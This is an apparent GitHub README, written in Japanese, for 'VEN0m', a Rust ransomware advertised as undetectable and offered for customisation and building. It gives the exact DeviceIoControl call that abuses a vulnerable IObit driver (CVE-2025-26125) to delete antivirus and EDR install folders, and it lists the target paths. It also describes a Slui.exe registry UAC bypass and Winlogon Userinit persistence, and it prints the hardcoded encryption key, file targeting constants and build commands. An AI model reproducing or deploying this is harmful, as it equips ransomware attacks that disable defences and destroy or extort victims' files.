
完全に検出不可能で回避能力の高いランサムウェア。Rustで記述され、BYOVD手法を利用して感染システム上のAV/EDRソリューションを無効化します。
https://github.com/user-attachments/assets/5a1fc9b5-a647-41f6-a152-7b9d97381adc
このプロジェクトは、正規で署名されたドライバーを悪用して防御を回避し、実際のサイバー攻撃をシミュレートするランサムウェアを展開する方法を示しています。
🚨 Windows 11 Pro 24H2 でテスト済み。初回リリース日(2026年2月23日)時点では完全に検出されません。
Evasion UAC Bypass BitDefender ✅ ✅ Kaspersky ✅ ✅ MS Defender ✅ ❌
VEN0mは古典的なBYOVD手法を採用していますが、脆弱なドライバーを悪用してカーネル関数 ZwTerminateProcess を非特権ユーザーに公開する AV-EDR-KILLER とは異なり、IObit Malware Fighter v12.1.0 に含まれる脆弱なドライバーを利用しています。防御のために使用しているドライバーを攻撃に使うのは皮肉なことです。
対象のドライバーは IMFForceDelete.sys で、非特権ユーザーが任意のファイルを削除できるIOCTLを公開しています。この脆弱性は CVE-2025-26125 として追跡されており、このドライバーはまだMicrosoftのブロックリストに登録されていません。
任意削除を実行するには、IOCTLコード 0x8016E000、削除対象ファイルのワイドユニコード文字列を指すlong voidポインタ、およびその長さを2倍した値(wstr_file.len() はu16要素数を返すため、各要素は2バイト)をu32としてキャストし、API呼び出し規約のDWORDパラメータに合わせて、DeviceIoControl APIを呼び出すだけです。
> DeviceIoControl(hDriver, 0x8016E000, wstr_file.as_ptr() as LPVOID, (wstr_file.len() * 2) as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
[!NOTE]
+ ❓ AV-EDR-KILLER が特定のAV/EDR製品に対して失敗したのはなぜですか?
その背後にある主なアイデアは、保護されていないIOCTLを持つドライバーを悪用し、カーネル関数
ZwTerminateProcessを公開することで、任意のユーザーモードアプリケーションにカーネルレベルの終了機能を付与することでした。この手法の弱点は、一部のAV/EDR製品が上記の関数をフックし、呼び出しをインターセプトできることです。もう1つの注目すべき手法は、特定の脆弱なドライバーの任意読み取り/書き込みプリミティブを悪用してメモリにパッチを当て、さらに強力な終了関数
PsTerminateProcess(ntoskrnl.exe自体からはエクスポートされていません)にジャンプすることでした。これもホスト防御が常にメモリをスキャンしているため、非常に疑わしい動作です。 参考:https://securelist.com/av-killer-exploiting-throttlestop-sys/117026/
簡単に言えば、インストールフォルダと実行可能ファイルをディスク上で破壊するだけです。とてもシンプルです!
これはほとんどの防御製品にとって盲点のようです。なぜなら、メモリを操作したり怪しげな呼び出しを行ったりするのではなく、ディスク上のファイルを標的にしているからです。IMFForceDelete.sys ドライバーを使用することで、高い権限でロックされたファイルを強制削除できます。AVやEDR製品を直接攻撃することは直感に反するように思えます。通常、攻撃者は防御を回避するためにステルス性を重視し、対決するのではなく潜むからです。
この手法を使用することで、実行中のEDR/AVプロセスを徐々に破壊し、機能不全に陥らせ、最終的にペイロードであるVEN0mを展開するための道を開きました。
const TARGETS: &[&str] = &[r"C:\Program Files (x86)\Kaspersky Lab", r"C:\Program Files\Bitdefender", r"C:\Program Files\Bitdefender Agent", r"C:\Program Files\Windows Defender",];
UACプロンプトを回避するために、Slui.exe という署名済みMicrosoftバイナリの実行フローを乗っ取ります。このバイナリは、管理者コンテキストで runas 動詞を使用して呼び出された場合、プロンプトを表示せずに自動昇格をサポートします。
主要な悪用は、Slui.exe が存在しないレジストリキー HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command を開こうとするときに発生します。この欠陥を利用して、不足しているキーを作成し、DelegateExecute を現在のペイロードを指すように挿入し、実行を委任します。その後、ShellExecuteW API 呼び出しで runas 動詞を使って Slui.exe の実行をトリガーし、UAC迂回に成功します。完全な実装は /src/uac.rs にあります。
[!IMPORTANT] この問題が報告すべき脆弱性かどうかは不明です。もし該当する場合は、以下のメールアドレスまでお気軽にご連絡ください。
VEN0mはUACを回避し高整合性で実行されるため、埋め込まれたドライバーをテンポラリフォルダに抽出し、MicrosoftUpdate11.01 のような偽装名でカーネルサービスを作成する処理を自動化します。サービスが停止している場合は自動起動、既に存在する場合は作成を回避するといった便利なチェック機能も含まれています。
ホストの防御が無効化された後は、任意の永続化手法を選択できます。
私はシンプルな Winlogon Userinit 手法を採用しました。これは HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 配下の Userinit レジストリキーを利用します。デフォルトでは、このキーは userinit.exe を値として指定し、ユーザーログイン時に実行されてユーザー環境を初期化します。
しかし、正規の userinit.exe とカンマで区切ってペイロードのパスを追加することで乗っ取ります。同時に、マルウェアのコピーを %LOCALAPPDATA% に配置します。
ランサムウェアは指定されたドライブをスキャンし、除外リストに該当しない拡張子のファイルを対象とします。一致したファイルは32バイトのハードコードされたキーを使用して暗号化され、拡張子が .vnm に変更されます。
以下の定数を変更することで動作をカスタマイズできます。
const KEY: &[u8; 32] = b"G7m9Xq2vR4pL8bF1sW0cZ6kD3jN5yH8u";
const XClUSIONS: &[&str] = &["Windows", "Program Files", "Program Files (x86)", "ProgramData", "$Recycle.Bin", "All Users"];
const XTENSIONS: &[&str] = &["pdf", "doc", "xlms", "png", "jpg", "jpeg", "txt", "mp4"];
const DRV: &[&str] = &["C:\\", "D:\\", "E:\\", "F:\\"];
暗号化が完了すると、VEN0mはデスクトップの壁紙を変更し、デスクトップに実行可能な身代金メモを配置します。また、数分ごとにGUIを起動するスケジュールタスクを登録し、派手な頭蓋骨 ☠️ を表示します。
/assets/wallpaper.jpg を独自の画像に置き換えてください。/src/task.rs を編集して変更できます。VEN0mには復号ツール Antid0te.exe🧪 も含まれています。このツールは拡張子 .vnm のファイルをスキャンし、暗号化に使用したのと同じキーを使用して復号ルーチンを逆に実行します。
[!WARNING] 暗号化キーを保存しておくことが重要です。
Antid0te.exe復号ツールを使用してファイルを復号するために必要です。
VEN0mは高度にモジュール化されており、カスタマイズが可能です。ハードコードされた定数を変更することでランサムウェアの動作を変更できます。また、特権昇格の脆弱性や横断移動の手法と組み合わせて、さらに高度な攻撃を実現することもできます。
> cargo build --release --bin Note --features 1
> cargo build --release --bin Antid0te --features 2
> cargo build --release --bin VEN0m
[!CAUTION] このツールを使用する前に、適切な権限を持っていることを確認する責任はあなたにあります。作者は不正使用に関する一切の責任を負いません。
コントリビューションや提案を歓迎します。「倫理的な」ビジネスに関するお問い合わせやコラボレーションのご希望は、以下までご連絡ください: [email protected]
Made with ❤️, inspired by Petya, WannaCry and co.
VEN0m is a black stray cat that influenced me in my journey.